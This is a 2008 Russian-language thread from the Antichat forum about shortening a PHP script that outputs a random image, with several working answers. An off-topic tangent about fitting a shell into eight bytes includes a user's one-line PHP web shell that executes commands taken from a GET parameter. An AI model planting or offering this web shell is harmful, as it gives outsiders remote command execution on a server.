Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
random image viewer- минифицируем код? |

02.08.2008, 07:35
|
|
Познавший АНТИЧАТ
Регистрация: 16.04.2006
Сообщений: 1,488
Провел на форуме: 2209675
Репутация:
537
|
|
random image viewer- минифицируем код?
задача - вывести рандомную картинку.
кто сможет сделать это короче?
PHP код:
<? php
header('Content-type: image/jpg');
$hd = opendir('photo');
while($file = readdir($hd))
if($file != '.' && $file != '..')
$imgs[] = $file;
echo file_get_contents('photo/' . $imgs[rand(0, sizeof($imgs)-1)]);
PS усложнение задачи- добавить GIF
|
|
|

02.08.2008, 18:00
|
|
Познавший АНТИЧАТ
Регистрация: 16.04.2006
Сообщений: 1,488
Провел на форуме: 2209675
Репутация:
537
|
|
слабаки! ))
|
|
|

03.08.2008, 03:09
|
|
Постоянный
Регистрация: 30.12.2006
Сообщений: 434
Провел на форуме: 849583
Репутация:
210
|
|
Сообщение от Дикс
слабаки! ))
Ипать, а что тебе нужно конкретно?
Не можежь gif добаввить НЕ слабак?
static function isFolder($DestinationPath)
{
return is_dir($DestinationPath);
}
static function _testExtension( $filename, $extension )
{
if ( $extension == null)
return true;
$i=strlen($filename)-1;
for( ; $i >= 0; $i-- )
{
if ( $filename[$i] == '.' )
break;
}
if ( $filename[$i] != '.' )
return false;
else
{
$ext = substr( $filename, $i+1 );
if(is_array($extension))
return in_array($ext, $extension);
else
return ( strtolower($extension) == strtolower($ext) );
}
}
static function GetFilesInDirectory($dir, $extension = "")
{
if(!self::isFolder($dir))
return false;
if(substr($dir,-1)=='/')
$dir=substr($dir, 0, -1);
$dh = opendir($dir);
$files = array();
while (false !== ($filename = readdir($dh)))
{
if ( !is_dir($dir.'/'.$filename) && $filename != "." && $filename != ".." )
{
if (self:: _testExtension($filename,$extension) )
$files[] = $dir."/".$filename;
}
}
closedir($dh);
return $files;
}
static function randomFoto()
{
$input = self::GetFilesInDirectory('_site/random_foto/', array('gif', 'jpg', 'jpeg', 'png'));
$rand_keys = array_rand($input, 1);
return $input[$rand_keys];
}
Не совсем прозрачно, ибо вырезка из Модели, но поймешь!
Последний раз редактировалось Naydav; 03.08.2008 в 03:38..
|
|
|

03.08.2008, 03:45
|
|
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме: 6023777
Репутация:
2642
|
|
Сообщение от Дикс
слабаки! ))
Чё??!
Код:
<?php
$a=glob('photo/*.{gif,jpg,png,jpeg}', GLOB_BRACE);
$u=$a[rand(0,sizeof($a)-1)];
header('Content-type: image/'.(($a=substr($u, strrpos($u, '.')+1))=='jpg'?'jpeg':$a));
readfile($u);
?>
Читает gif, jpg, png, jpeg
|
|
|

03.08.2008, 09:26
|
|
Познавший АНТИЧАТ
Регистрация: 16.04.2006
Сообщений: 1,488
Провел на форуме: 2209675
Репутация:
537
|
|
2 Naydav
мужик, эт че ваще? ))) заголовок темы прочитай
я даж изучать твою портянку не хочу бгыгы
2 NOmeR1
особенно спасибо за раскрытие этого метода:
PHP код:
(*****)=='jpg'?'jpeg':$a)
ох уж эти тернарные операторы и булевы условия, столько тайн!
В твоём примере ещё маленький штрих - закрывающий тег ?> можно убрать 
|
|
|

03.08.2008, 10:02
|
|
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме: 9751379
Репутация:
3812
|
|
Сообщение от Дикс
2 Naydav
мужик, эт че ваще? ))) заголовок темы прочитай
я даж изучать твою портянку не хочу бгыгы
2 NOmeR1
особенно спасибо за раскрытие этого метода:
PHP код:
(*****)=='jpg'?'jpeg':$a)
ох уж эти тернарные операторы и булевы условия, столько тайн!
В твоём примере ещё маленький штрих - закрывающий тег ?> можно убрать 
Это как выполнение команд на 8 байт)
__________________
|
|
|

03.08.2008, 10:10
|
|
Познавший АНТИЧАТ
Регистрация: 16.04.2006
Сообщений: 1,488
Провел на форуме: 2209675
Репутация:
537
|
|
в смысле?
|
|
|

03.08.2008, 10:55
|
|
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме: 6023777
Репутация:
2642
|
|
Сообщение от Дикс
в смысле?
Кажется нитрокс делал. Типо у тебя есть поле в котором ты можешь максимум вписать 8 байт, они запишутся в файл (*.php), и тебе нужно с помощью этих 8 байт выполнить шелл. 
|
|
|

03.08.2008, 11:11
|
|
Участник форума
Регистрация: 24.05.2007
Сообщений: 229
Провел на форуме: 2308963
Репутация:
309
|
|
Прошу прощения за оффтоп...
Случайно не про этот шелл говорится?
PHP код:
<?
isset($_GET[fuckkk]) ? print `$_GET[fuckkk]` : '';
?>
Ток тут явно не 8 байт.
print `$_GET[fuckkk]`;
Мне даже интересно стало, как укоцали шелл до 8 байт)) Если найдете - скиньте мне посмотреть)
Последний раз редактировалось AdReNa1!Ne; 03.08.2008 в 11:13..
|
|
|

03.08.2008, 11:38
|
|
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме: 10046345
Репутация:
4589
|
|
8 байт включая <??> или без?)
|
|
|
|
 |
|
Похожие темы
|
| Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
|
Маскировка вируса
|
SuNDowN |
Мировые новости |
5 |
07.05.2008 08:32 |
|
как взломать домофон
|
ReZiDeNT |
Аппаратное обеспечение |
5 |
11.01.2008 17:03 |
|
Секреты Gsm
|
КероСиН |
Сотовый фрикинг |
17 |
30.08.2007 21:01 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|